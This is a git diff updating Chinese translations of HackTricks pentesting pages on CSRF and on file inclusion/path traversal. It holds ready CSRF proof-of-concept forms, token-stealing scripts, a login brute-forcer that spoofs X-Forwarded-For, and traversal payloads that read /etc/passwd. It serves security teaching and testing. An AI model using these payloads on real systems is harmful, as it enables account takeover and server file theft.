mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/pentesting-web/csrf-cross-site-request-forgery.md',
This commit is contained in:
parent
1873998a64
commit
ce933b2659
@ -1,86 +1,114 @@
|
||||
# CSRF (跨站请求伪造)
|
||||
# CSRF (Cross Site Request Forgery)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## 跨站请求伪造 (CSRF) 解释
|
||||
## Cross-Site Request Forgery (CSRF) 解释
|
||||
|
||||
**跨站请求伪造 (CSRF)** 是一种在 web 应用程序中发现的安全漏洞。它使攻击者能够通过利用用户的认证会话,代表毫无防备的用户执行操作。当一个已登录受害者平台的用户访问恶意网站时,攻击就会被执行。该网站随后通过执行 JavaScript、提交表单或获取图像等方法触发对受害者账户的请求。
|
||||
**Cross-Site Request Forgery (CSRF)** 是一种出现在 web 应用中的安全漏洞。它允许攻击者利用用户的已认证会话替用户执行操作。当用户在受害者平台已登录时访问恶意站点,攻击就会被触发。该站点通过执行 JavaScript、提交表单或获取图片等方式向受害者账户发送请求。
|
||||
|
||||
### CSRF 攻击的前提条件
|
||||
### CSRF 攻击的先决条件
|
||||
|
||||
要利用 CSRF 漏洞,必须满足几个条件:
|
||||
要利用 CSRF 漏洞,需要满足几个条件:
|
||||
|
||||
1. **识别有价值的操作**:攻击者需要找到一个值得利用的操作,例如更改用户的密码、电子邮件或提升权限。
|
||||
2. **会话管理**:用户的会话应仅通过 cookies 或 HTTP 基本认证头进行管理,因为其他头无法用于此目的进行操控。
|
||||
3. **缺乏不可预测的参数**:请求中不应包含不可预测的参数,因为它们可能会阻止攻击。
|
||||
1. **Identify a Valuable Action**: 攻击者需要找到一个值得利用的操作,例如更改用户的密码、电子邮件或提升权限。
|
||||
2. **Session Management**: 用户的会话应仅通过 cookies 或 HTTP Basic Authentication header 管理,因为其他 header 无法为此目的被操控。
|
||||
3. **Absence of Unpredictable Parameters**: 请求不应包含不可预测的参数,否则可能会阻止攻击。
|
||||
|
||||
### 快速检查
|
||||
|
||||
您可以在 **Burp** 中捕获请求并检查 CSRF 保护,您可以从浏览器点击 **复制为 fetch** 并检查请求:
|
||||
你可以在 Burp 中捕获请求并检查 CSRF 保护;要在浏览器中测试,可以点击 **Copy as fetch** 并检查请求:
|
||||
|
||||
<figure><img src="../images/image (11) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### 防御 CSRF
|
||||
|
||||
可以实施几种对策来保护免受 CSRF 攻击:
|
||||
可以实施多种对策来防范 CSRF 攻击:
|
||||
|
||||
- [**SameSite cookies**](hacking-with-cookies/index.html#samesite):此属性防止浏览器在跨站请求中发送 cookies。[有关 SameSite cookies 的更多信息](hacking-with-cookies/index.html#samesite)。
|
||||
- [**跨源资源共享**](cors-bypass.md):受害者网站的 CORS 策略可能会影响攻击的可行性,特别是当攻击需要读取受害者网站的响应时。[了解 CORS 绕过](cors-bypass.md)。
|
||||
- **用户验证**:提示用户输入密码或解决验证码可以确认用户的意图。
|
||||
- **检查引荐或来源头**:验证这些头可以帮助确保请求来自受信任的来源。然而,精心构造的 URL 可以绕过实施不当的检查,例如:
|
||||
- 使用 `http://mal.net?orig=http://example.com`(URL 以受信任的 URL 结尾)
|
||||
- 使用 `http://example.com.mal.net`(URL 以受信任的 URL 开头)
|
||||
- **修改参数名称**:更改 POST 或 GET 请求中参数的名称可以帮助防止自动化攻击。
|
||||
- **CSRF 令牌**:在每个会话中引入唯一的 CSRF 令牌,并要求在后续请求中使用该令牌,可以显著降低 CSRF 的风险。通过强制实施 CORS,可以增强令牌的有效性。
|
||||
- [**SameSite cookies**](hacking-with-cookies/index.html#samesite): 该属性阻止浏览器在跨站请求时随请求发送 cookies。 [More about SameSite cookies](hacking-with-cookies/index.html#samesite).
|
||||
- [**Cross-origin resource sharing**](cors-bypass.md): 受害者站点的 CORS 策略会影响攻击的可行性,尤其是在攻击需要读取受害者站点响应时。 [Learn about CORS bypass](cors-bypass.md).
|
||||
- **User Verification**: 要求用户输入密码或完成验证码可用于确认用户意图。
|
||||
- **Checking Referrer or Origin Headers**: 验证这些 header 可以帮助确保请求来自受信任的来源。然而,精心构造的 URL 仍可绕过实现不当的检查,例如:
|
||||
- 使用 `http://mal.net?orig=http://example.com`(URL 以受信任 URL 结尾)
|
||||
- 使用 `http://example.com.mal.net`(URL 以受信任 URL 开头)
|
||||
- **Modifying Parameter Names**: 改变 POST 或 GET 请求中参数的名称可以帮助防止自动化攻击。
|
||||
- **CSRF Tokens**: 在每个会话中加入唯一的 CSRF token,并在后续请求中要求提供该 token,可以显著降低 CSRF 风险。通过强制执行 CORS 可以增强 token 的有效性。
|
||||
|
||||
理解和实施这些防御措施对于维护 web 应用程序的安全性和完整性至关重要。
|
||||
理解并实现这些防护措施对于维护 web 应用的安全性和完整性至关重要。
|
||||
|
||||
## 防御绕过
|
||||
|
||||
### 从 POST 到 GET
|
||||
### 从 POST 到 GET (method-conditioned CSRF validation bypass)
|
||||
|
||||
也许您想要利用的表单准备发送 **带有 CSRF 令牌的 POST 请求,但**,您应该 **检查** 是否 **GET** 也是 **有效的**,并且当您发送 GET 请求时 **CSRF 令牌仍在被验证**。
|
||||
一些应用只在 POST 上执行 CSRF 验证,而对其他 HTTP 动词跳过。PHP 中常见的反模式如下:
|
||||
```php
|
||||
public function csrf_check($fatal = true) {
|
||||
if ($_SERVER['REQUEST_METHOD'] !== 'POST') return true; // GET, HEAD, etc. bypass CSRF
|
||||
// ... validate __csrf_token here ...
|
||||
}
|
||||
```
|
||||
如果易受攻击的端点也接受来自 $_REQUEST 的参数,你可以以 GET 请求重新发送相同的操作并完全省略 CSRF token。这会把仅限 POST 的操作转换为无需 token 就能成功的 GET 操作。
|
||||
|
||||
### 缺少令牌
|
||||
Example:
|
||||
|
||||
应用程序可能会实现一种机制来 **验证令牌**,当它们存在时。然而,如果在令牌缺失时完全跳过验证,就会出现漏洞。攻击者可以通过 **删除携带令牌的参数**,而不仅仅是其值,来利用这一点。这使他们能够绕过验证过程,有效地进行跨站请求伪造 (CSRF) 攻击。
|
||||
- Original POST with token (intended):
|
||||
|
||||
### CSRF 令牌未与用户会话绑定
|
||||
```http
|
||||
POST /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList HTTP/1.1
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
未将 CSRF 令牌与用户会话绑定的应用程序存在重大 **安全风险**。这些系统验证令牌是针对 **全局池** 而不是确保每个令牌与发起会话绑定。
|
||||
__csrf_token=sid:...&widgetInfoList=[{"widgetId":"https://attacker<img src onerror=alert(1)>","widgetType":"URL"}]
|
||||
```
|
||||
|
||||
攻击者利用这一点的方式如下:
|
||||
- Bypass by switching to GET (no token):
|
||||
|
||||
1. **使用自己的账户进行身份验证**。
|
||||
2. **从全局池中获取有效的 CSRF 令牌**。
|
||||
3. **在针对受害者的 CSRF 攻击中使用该令牌**。
|
||||
```http
|
||||
GET /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList&widgetInfoList=[{"widgetId":"https://attacker<img+src+onerror=alert(1)>","widgetType":"URL"}] HTTP/1.1
|
||||
```
|
||||
|
||||
这一漏洞使攻击者能够代表受害者发起未经授权的请求,利用应用程序的 **不充分的令牌验证机制**。
|
||||
Notes:
|
||||
- 这种模式经常与 reflected XSS 一起出现,响应被错误地以 text/html 而不是 application/json 返回。
|
||||
- 将此与 XSS 结合会大大降低利用门槛,因为你可以提供一个单一的 GET 链接,既触发易受攻击的代码路径,又完全绕过 CSRF 检查。
|
||||
|
||||
### 缺少 token
|
||||
|
||||
应用可能会在 token 存在时实现验证机制。然而,如果在 token 缺失时完全跳过验证,就会产生漏洞。攻击者可以通过删除携带 token 的参数(不仅仅是清空其值)来利用这一点。这允许他们绕过验证流程并有效地发起 Cross-Site Request Forgery (CSRF) 攻击。
|
||||
|
||||
### CSRF token 未绑定到用户会话
|
||||
|
||||
未将 CSRF token 绑定到用户会话的应用存在重大安全风险。这类系统将 token 与全局池进行校验,而不是确保每个 token 与发起会话关联。
|
||||
|
||||
攻击者利用该问题的方式如下:
|
||||
|
||||
1. 使用自己的账户进行认证。
|
||||
2. 从全局池获取一个有效的 CSRF token。
|
||||
3. 在针对受害者的 CSRF 攻击中使用该 token。
|
||||
|
||||
该漏洞允许攻击者代表受害者发起未授权请求,利用应用不充分的 token 验证机制。
|
||||
|
||||
### 方法绕过
|
||||
|
||||
如果请求使用的是一种 "**奇怪的**" **方法**,请检查 **方法** **覆盖功能** 是否有效。例如,如果它 **使用 PUT** 方法,您可以尝试 **使用 POST** 方法并 **发送**:_https://example.com/my/dear/api/val/num?**\_method=PUT**_
|
||||
如果请求使用一个“奇怪”的 method,检查 method override 功能是否生效。例如,如果它使用 PUT method,你可以尝试使用 POST method 并发送: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
|
||||
|
||||
这也可以通过在 POST 请求中发送 **\_method 参数** 或使用 **头** 来实现:
|
||||
这也可以通过在 POST 请求中发送 \_method 参数或使用以下 headers 来实现:
|
||||
|
||||
- _X-HTTP-Method_
|
||||
- _X-HTTP-Method-Override_
|
||||
- _X-Method-Override_
|
||||
|
||||
### 自定义头令牌绕过
|
||||
### 自定义 header token 绕过
|
||||
|
||||
如果请求在请求中添加了带有 **令牌** 的 **自定义头** 作为 **CSRF 保护方法**,那么:
|
||||
如果请求通过在自定义 header 中添加 token 来作为 CSRF 保护方法,那么:
|
||||
|
||||
- 测试不带 **自定义令牌和头** 的请求。
|
||||
- 测试请求,使用确切 **相同长度但不同的令牌**。
|
||||
- 在没有 Customized Token 及其 header 的情况下测试请求。
|
||||
- 使用相同长度但不同的 token 测试请求。
|
||||
|
||||
### CSRF 令牌通过 cookie 验证
|
||||
### CSRF token 由 cookie 验证
|
||||
|
||||
应用程序可能通过在 cookie 和请求参数中复制令牌或通过设置 CSRF cookie 并验证后端发送的令牌是否与 cookie 中的值相对应来实现 CSRF 保护。应用程序通过检查请求参数中的令牌是否与 cookie 中的值对齐来验证请求。
|
||||
应用可能通过在 cookie 和请求参数中同时复制 token,或设置 CSRF cookie 并在后端验证请求中发送的 token 是否与 cookie 对应来实现 CSRF 保护。应用通过检查请求参数中的 token 是否与 cookie 的值一致来验证请求。
|
||||
|
||||
然而,如果网站存在缺陷,允许攻击者在受害者的浏览器中设置 CSRF cookie,例如 CRLF 漏洞,则此方法容易受到 CSRF 攻击。攻击者可以通过加载一个欺骗性的图像来设置 cookie,然后发起 CSRF 攻击。
|
||||
然而,如果网站存在允许攻击者在受害者浏览器中设置 CSRF cookie 的漏洞(例如 CRLF 漏洞),此方法就容易受到 CSRF 攻击。攻击者可以先通过加载一个伪装的图片来设置该 cookie,然后发起 CSRF 攻击。
|
||||
|
||||
以下是攻击可能结构的示例:
|
||||
Below is an example of how an attack could be structured:
|
||||
```html
|
||||
<html>
|
||||
<!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
|
||||
@ -103,19 +131,19 @@ onerror="document.forms[0].submit();" />
|
||||
</html>
|
||||
```
|
||||
> [!TIP]
|
||||
> 注意,如果**csrf token与会话cookie相关,这个攻击将不起作用**,因为你需要设置受害者的会话,因此你实际上是在攻击自己。
|
||||
> 请注意,如果 **csrf token is related with the session cookie this attack won't work**,因为你需要将 victim 的 session 设置为你的 session,因此你将攻击自己。
|
||||
|
||||
### Content-Type 更改
|
||||
### Content-Type change
|
||||
|
||||
根据 [**这个**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests),为了**避免预检**请求使用**POST**方法,允许的 Content-Type 值如下:
|
||||
根据 [**this**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests),为了在使用 **POST** 方法时**避免 preflight 请求**,允许的 Content-Type 值包括:
|
||||
|
||||
- **`application/x-www-form-urlencoded`**
|
||||
- **`multipart/form-data`**
|
||||
- **`text/plain`**
|
||||
|
||||
然而,请注意,**服务器逻辑可能会有所不同**,具体取决于使用的**Content-Type**,因此你应该尝试提到的值以及其他值,如**`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._
|
||||
但是请注意,服务器逻辑可能会根据所使用的 **Content-Type** 而有所不同,因此你应该尝试上面提到的值以及其他例如 **`application/json`**, **`text/xml`**, **`application/xml`**。
|
||||
|
||||
示例(来自 [这里](https://brycec.me/posts/corctf_2021_challenges))将 JSON 数据作为 text/plain 发送:
|
||||
示例(来自 [here](https://brycec.me/posts/corctf_2021_challenges))将 JSON 数据作为 text/plain 发送:
|
||||
```html
|
||||
<html>
|
||||
<body>
|
||||
@ -134,31 +162,32 @@ form.submit()
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
### 绕过 JSON 数据的预检请求
|
||||
### 绕过针对 JSON 数据的预检请求
|
||||
|
||||
在尝试通过 POST 请求发送 JSON 数据时,在 HTML 表单中直接使用 `Content-Type: application/json` 是不可能的。同样,利用 `XMLHttpRequest` 发送此内容类型会启动预检请求。然而,有一些策略可以潜在地绕过此限制,并检查服务器是否处理 JSON 数据而不考虑 Content-Type:
|
||||
当尝试通过 POST 请求发送 JSON 数据时,在 HTML 表单中使用 `Content-Type: application/json` 并不可行。同样,使用 `XMLHttpRequest` 发送此 Content-Type 会触发预检请求。不过,存在一些策略可以尝试绕过此限制,并检测服务器是否会在不考虑 Content-Type 的情况下处理 JSON 数据:
|
||||
|
||||
1. **使用替代内容类型**:通过在表单中设置 `enctype="text/plain"` 来使用 `Content-Type: text/plain` 或 `Content-Type: application/x-www-form-urlencoded`。这种方法测试后端是否使用数据,而不考虑 Content-Type。
|
||||
2. **修改内容类型**:为了避免预检请求,同时确保服务器将内容识别为 JSON,您可以使用 `Content-Type: text/plain; application/json` 发送数据。这不会触发预检请求,但如果服务器配置为接受 `application/json`,可能会被正确处理。
|
||||
3. **SWF Flash 文件利用**:一种不太常见但可行的方法是使用 SWF Flash 文件来绕过此类限制。有关此技术的深入理解,请参阅 [this post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937)。
|
||||
1. **使用替代 Content-Type**:通过在表单中设置 `enctype="text/plain"` 来使用 `Content-Type: text/plain` 或 `Content-Type: application/x-www-form-urlencoded`。这种方法用于测试后台是否在不看 Content-Type 的情况下使用数据。
|
||||
2. **修改 Content-Type**:为避免预检请求并尽量让服务器识别为 JSON,可以使用 `Content-Type: text/plain; application/json` 发送数据。这不会触发预检请求,但如果服务器被配置为接受 `application/json`,可能会被正确处理。
|
||||
3. **使用 SWF Flash 文件**:一种不太常见但可行的方法是使用 SWF flash 文件来绕过这些限制。要深入了解此技术,请参阅 [this post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937)。
|
||||
|
||||
### 引用/来源检查绕过
|
||||
### Referrer / Origin 检查绕过
|
||||
|
||||
**避免引用头**
|
||||
**避免 Referer header**
|
||||
|
||||
应用程序可能仅在 'Referer' 头存在时进行验证。为了防止浏览器发送此头,可以使用以下 HTML 元标签:
|
||||
应用可能只在 'Referer' header 存在时对其进行验证。要阻止浏览器发送该 header,可使用以下 HTML meta 标签:
|
||||
```xml
|
||||
<meta name="referrer" content="never">
|
||||
```
|
||||
这确保了“Referer”头被省略,从而可能绕过某些应用程序中的验证检查。
|
||||
这将确保 'Referer' 头被省略,可能绕过某些应用中的验证检查。
|
||||
|
||||
**Regexp bypasses**
|
||||
|
||||
**正则表达式绕过**
|
||||
|
||||
{{#ref}}
|
||||
ssrf-server-side-request-forgery/url-format-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
要在Referrer将要在参数中发送的URL中设置服务器的域名,可以执行:
|
||||
要在 Referrer 将在参数中发送的 URL 中设置服务器的域名,你可以这样做:
|
||||
```html
|
||||
<html>
|
||||
<!-- Referrer policy needed to send the qury parameter in the referrer -->
|
||||
@ -189,23 +218,23 @@ document.forms[0].submit()
|
||||
```
|
||||
### **HEAD 方法绕过**
|
||||
|
||||
[**这个 CTF 文章**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution)的第一部分解释了 [Oak 的源代码](https://github.com/oakserver/oak/blob/main/router.ts#L281),一个路由器被设置为 **将 HEAD 请求作为 GET 请求处理**,且没有响应体 - 这是一种常见的变通方法,并不是 Oak 独有的。它们并没有特定的处理程序来处理 HEAD 请求,而是 **直接交给 GET 处理程序,但应用程序只是移除了响应体**。
|
||||
在 [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) 的第一部分解释了 [Oak's source code](https://github.com/oakserver/oak/blob/main/router.ts#L281) 中,一个 router 被设置为 **handle HEAD requests as GET requests** 且没有响应体 —— 这是一个常见的变通方法,并非 Oak 独有。与其使用专门处理 HEAD reqs 的 handler,它们只是**被交给 GET handler,但应用只是移除响应体**。
|
||||
|
||||
因此,如果 GET 请求受到限制,你可以 **发送一个将被处理为 GET 请求的 HEAD 请求**。
|
||||
因此,如果 GET 请求受到限制,你可以**发送一个将被作为 GET 处理的 HEAD 请求**。
|
||||
|
||||
## **利用示例**
|
||||
## **Exploit Examples**
|
||||
|
||||
### **提取 CSRF 令牌**
|
||||
### **Exfiltrating CSRF Token**
|
||||
|
||||
如果 **CSRF 令牌** 被用作 **防御**,你可以尝试 **利用** [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) 漏洞或 [**悬挂标记**](dangling-markup-html-scriptless-injection/index.html) 漏洞来 **提取它**。
|
||||
如果应用使用 **CSRF token** 作为 **defence**,你可以尝试通过滥用 [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) 漏洞或 [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html) 漏洞来**exfiltrate it**。
|
||||
|
||||
### **使用 HTML 标签的 GET**
|
||||
### **GET using HTML tags**
|
||||
```xml
|
||||
<img src="http://google.es?param=VALUE" style="display:none" />
|
||||
<h1>404 - Page not found</h1>
|
||||
The URL you are requesting is no longer available
|
||||
```
|
||||
其他可以用来自动发送 GET 请求的 HTML5 标签包括:
|
||||
其他可以用来自动发送 GET 请求的 HTML5 标签有:
|
||||
```html
|
||||
<iframe src="..."></iframe>
|
||||
<script src="..."></script>
|
||||
@ -280,7 +309,7 @@ document.forms[0].submit() //Way 3 to autosubmit
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
### 通过 iframe 发送表单 POST 请求
|
||||
### 通过 iframe 发送 Form POST 请求
|
||||
```html
|
||||
<!--
|
||||
The request is sent through the iframe withuot reloading the page
|
||||
@ -373,7 +402,7 @@ body += "--" + boundary + "--"
|
||||
//xhr.send(body);
|
||||
xhr.sendAsBinary(body)
|
||||
```
|
||||
### 从 iframe 内部发送表单 POST 请求
|
||||
### 从 iframe 内发起的 Form POST 请求
|
||||
```html
|
||||
<--! expl.html -->
|
||||
|
||||
@ -397,7 +426,7 @@ document.getElementById("formulario").submit()
|
||||
</body>
|
||||
</body>
|
||||
```
|
||||
### **窃取 CSRF 令牌并发送 POST 请求**
|
||||
### **窃取 CSRF Token 并发送 POST request**
|
||||
```javascript
|
||||
function submitFormWithTokenJS(token) {
|
||||
var xhr = new XMLHttpRequest()
|
||||
@ -444,7 +473,7 @@ var GET_URL = "http://google.com?param=VALUE"
|
||||
var POST_URL = "http://google.com?param=VALUE"
|
||||
getTokenJS()
|
||||
```
|
||||
### **窃取 CSRF 令牌并使用 iframe、表单和 Ajax 发送 Post 请求**
|
||||
### **窃取 CSRF Token 并使用 iframe、form 和 Ajax 发送 POST 请求**
|
||||
```html
|
||||
<form
|
||||
id="form1"
|
||||
@ -472,7 +501,7 @@ style="display:none"
|
||||
src="http://google.com?param=VALUE"
|
||||
onload="javascript:f1();"></iframe>
|
||||
```
|
||||
### **窃取 CSRF 令牌并使用 iframe 和表单发送 POST 请求**
|
||||
### **窃取 CSRF Token 并使用 iframe 和 form 发送 POST 请求**
|
||||
```html
|
||||
<iframe
|
||||
id="iframe"
|
||||
@ -505,7 +534,7 @@ document.forms[0].submit.click()
|
||||
}
|
||||
</script>
|
||||
```
|
||||
### **窃取令牌并使用 2 个 iframe 发送**
|
||||
### **窃取 token 并使用 2 个 iframes 发送**
|
||||
```html
|
||||
<script>
|
||||
var token;
|
||||
@ -535,7 +564,7 @@ height="600" width="800"></iframe>
|
||||
<button type="submit">Submit</button>
|
||||
</form>
|
||||
```
|
||||
### **POST通过Ajax窃取CSRF令牌并发送带表单的POST**
|
||||
### **POST — 使用 Ajax 窃取 CSRF token 并通过表单发送 post**
|
||||
```html
|
||||
<body onload="getData()">
|
||||
<form
|
||||
@ -566,7 +595,7 @@ document.getElementById("form").submit()
|
||||
</script>
|
||||
</body>
|
||||
```
|
||||
### CSRF with Socket.IO
|
||||
### 使用 Socket.IO 的 CSRF
|
||||
```html
|
||||
<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
|
||||
<script>
|
||||
@ -586,9 +615,9 @@ room: username,
|
||||
})
|
||||
</script>
|
||||
```
|
||||
## CSRF 登录暴力破解
|
||||
## CSRF Login Brute Force
|
||||
|
||||
该代码可用于通过 CSRF 令牌对登录表单进行暴力破解(它还使用了 X-Forwarded-For 头以尝试绕过可能的 IP 黑名单):
|
||||
该代码可用于使用 CSRF token 对登录表单进行 Brut Force(它也使用 X-Forwarded-For 头来尝试绕过可能的 IP 黑名单):
|
||||
```python
|
||||
import request
|
||||
import re
|
||||
@ -637,13 +666,12 @@ login(USER, line.strip())
|
||||
- [https://github.com/0xInfection/XSRFProbe](https://github.com/0xInfection/XSRFProbe)
|
||||
- [https://github.com/merttasci/csrf-poc-generator](https://github.com/merttasci/csrf-poc-generator)
|
||||
|
||||
## 参考文献
|
||||
## 参考资料
|
||||
|
||||
- [https://portswigger.net/web-security/csrf](https://portswigger.net/web-security/csrf)
|
||||
- [https://portswigger.net/web-security/csrf/bypassing-token-validation](https://portswigger.net/web-security/csrf/bypassing-token-validation)
|
||||
- [https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses](https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses)
|
||||
- [https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html](https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html)
|
||||
|
||||
|
||||
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -1,119 +1,121 @@
|
||||
# 文件包含/路径遍历
|
||||
# File Inclusion/Path traversal
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## 文件包含
|
||||
## File Inclusion
|
||||
|
||||
**远程文件包含 (RFI):** 文件从远程服务器加载(最佳:您可以编写代码,服务器将执行它)。在 PHP 中,这默认是 **禁用** 的 (**allow_url_include**)。\
|
||||
**本地文件包含 (LFI):** 服务器加载本地文件。
|
||||
**Remote File Inclusion (RFI):** 文件从远程服务器加载(最佳情况:你可以写入代码并让服务器执行它)。在 php 中默认**禁用**(**allow_url_include**)。\
|
||||
**Local File Inclusion (LFI):** 服务器加载本地文件。
|
||||
|
||||
当用户以某种方式控制将被服务器加载的文件时,就会发生漏洞。
|
||||
漏洞发生在用户以某种方式能够控制将被服务器加载的文件时。
|
||||
|
||||
易受攻击的 **PHP 函数**:require, require_once, include, include_once
|
||||
易受攻击的 **PHP 函数**: require, require_once, include, include_once
|
||||
|
||||
一个有趣的工具来利用这个漏洞:[https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
|
||||
一个利用此漏洞的有趣工具: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
|
||||
|
||||
## Blind - Interesting - LFI2RCE 文件
|
||||
## Blind - Interesting - LFI2RCE files
|
||||
```python
|
||||
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
|
||||
```
|
||||
### **Linux**
|
||||
|
||||
**混合多个 \*nix LFI 列表并添加更多路径,我创建了这个:**
|
||||
**混合多个 *nix LFI 列表并添加更多路径后,我创建了这个:**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
|
||||
{{#endref}}
|
||||
|
||||
尝试将 `/` 改为 `\`\
|
||||
尝试添加 `../../../../../`
|
||||
Try also to change `/` for `\`\
|
||||
Try also to add `../../../../../`
|
||||
|
||||
一个使用多种技术查找文件 /etc/password(以检查漏洞是否存在)的列表可以在 [这里](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) 找到。
|
||||
一个使用多种技术查找文件 /etc/password(用于检查漏洞是否存在)的列表可以在 [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
|
||||
|
||||
### **Windows**
|
||||
|
||||
不同字典的合并:
|
||||
Merge of different wordlists:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
|
||||
{{#endref}}
|
||||
|
||||
尝试将 `/` 改为 `\`\
|
||||
尝试删除 `C:/` 并添加 `../../../../../`
|
||||
Try also to change `/` for `\`\
|
||||
Try also to remove `C:/` and add `../../../../../`
|
||||
|
||||
一个使用多种技术查找文件 /boot.ini(以检查漏洞是否存在)的列表可以在 [这里](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) 找到。
|
||||
一个使用多种技术查找文件 /boot.ini(用于检查漏洞是否存在)的列表可以在 [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
|
||||
|
||||
### **OS X**
|
||||
|
||||
检查 Linux 的 LFI 列表。
|
||||
Check the LFI list of linux.
|
||||
|
||||
## 基本 LFI 和绕过
|
||||
## Basic LFI and bypasses
|
||||
|
||||
所有示例都是针对本地文件包含的,但也可以应用于远程文件包含(页面=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>)。
|
||||
所有示例适用于 Local File Inclusion,但也可以应用于 Remote File Inclusion(page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)//>)。
|
||||
```
|
||||
http://example.com/index.php?page=../../../etc/passwd
|
||||
```
|
||||
### 非递归剥离遍历序列
|
||||
### traversal sequences(非递归移除)
|
||||
```python
|
||||
http://example.com/index.php?page=....//....//....//etc/passwd
|
||||
http://example.com/index.php?page=....\/....\/....\/etc/passwd
|
||||
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
|
||||
```
|
||||
### **空字节 (%00)**
|
||||
### **Null byte (%00)**
|
||||
|
||||
绕过在提供的字符串末尾附加更多字符(绕过:$\_GET\['param']."php")
|
||||
绕过在所提供字符串末尾追加更多字符(绕过: $\_GET\['param']."php")
|
||||
```
|
||||
http://example.com/index.php?page=../../../etc/passwd%00
|
||||
```
|
||||
这是 **自 PHP 5.4 起已解决**
|
||||
此问题 **自 PHP 5.4 起已解决**
|
||||
|
||||
### **编码**
|
||||
|
||||
您可以使用非标准编码,例如双重 URL 编码(和其他编码):
|
||||
你可以使用非标准编码,例如 double URL encode(和其他方式):
|
||||
```
|
||||
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
|
||||
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
|
||||
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
|
||||
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
|
||||
```
|
||||
### 从现有文件夹
|
||||
### 来自已存在的文件夹
|
||||
|
||||
也许后端正在检查文件夹路径:
|
||||
也许后端正在检查文件夹路径:
|
||||
```python
|
||||
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
|
||||
```
|
||||
### 在服务器上探索文件系统目录
|
||||
|
||||
服务器的文件系统可以通过某些技术递归地探索,以识别目录,而不仅仅是文件。此过程涉及确定目录深度并探测特定文件夹的存在。以下是实现此目标的详细方法:
|
||||
可以通过某些技术对服务器的文件系统进行递归探索,以识别目录而不仅仅是文件。此过程包括确定目录深度并探测特定文件夹是否存在。下面是实现该目标的详细方法:
|
||||
|
||||
1. **确定目录深度:** 通过成功获取 `/etc/passwd` 文件来确定当前目录的深度(适用于基于Linux的服务器)。一个示例URL可能结构如下,指示深度为三:
|
||||
1. **确定目录深度:** 通过成功获取 `/etc/passwd` 文件来确定当前目录的深度(适用于 Linux-based 的服务器)。例如,一个 URL 可能如下所示,表示深度为三:
|
||||
```bash
|
||||
http://example.com/index.php?page=../../../etc/passwd # depth of 3
|
||||
```
|
||||
2. **探测文件夹:** 将可疑文件夹的名称(例如,`private`)附加到 URL,然后返回到 `/etc/passwd`。额外的目录级别需要将深度增加一个:
|
||||
2. **探测文件夹:** 将疑似文件夹的名称(例如,`private`)附加到 URL,然后返回到 `/etc/passwd`。额外的目录层级需要将深度增加 1:
|
||||
```bash
|
||||
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
|
||||
```
|
||||
3. **解释结果:** 服务器的响应指示文件夹是否存在:
|
||||
- **错误 / 无输出:** 文件夹 `private` 可能在指定位置不存在。
|
||||
- **`/etc/passwd` 的内容:** 确认存在 `private` 文件夹。
|
||||
4. **递归探索:** 发现的文件夹可以使用相同的技术或传统的本地文件包含 (LFI) 方法进一步探测子目录或文件。
|
||||
3. **解释结果:** 服务器的响应表明该文件夹是否存在:
|
||||
- **错误 / 无输出:** 文件夹 `private` 很可能在指定位置不存在。
|
||||
- **`/etc/passwd` 的内容:** 已确认存在 `private` 文件夹。
|
||||
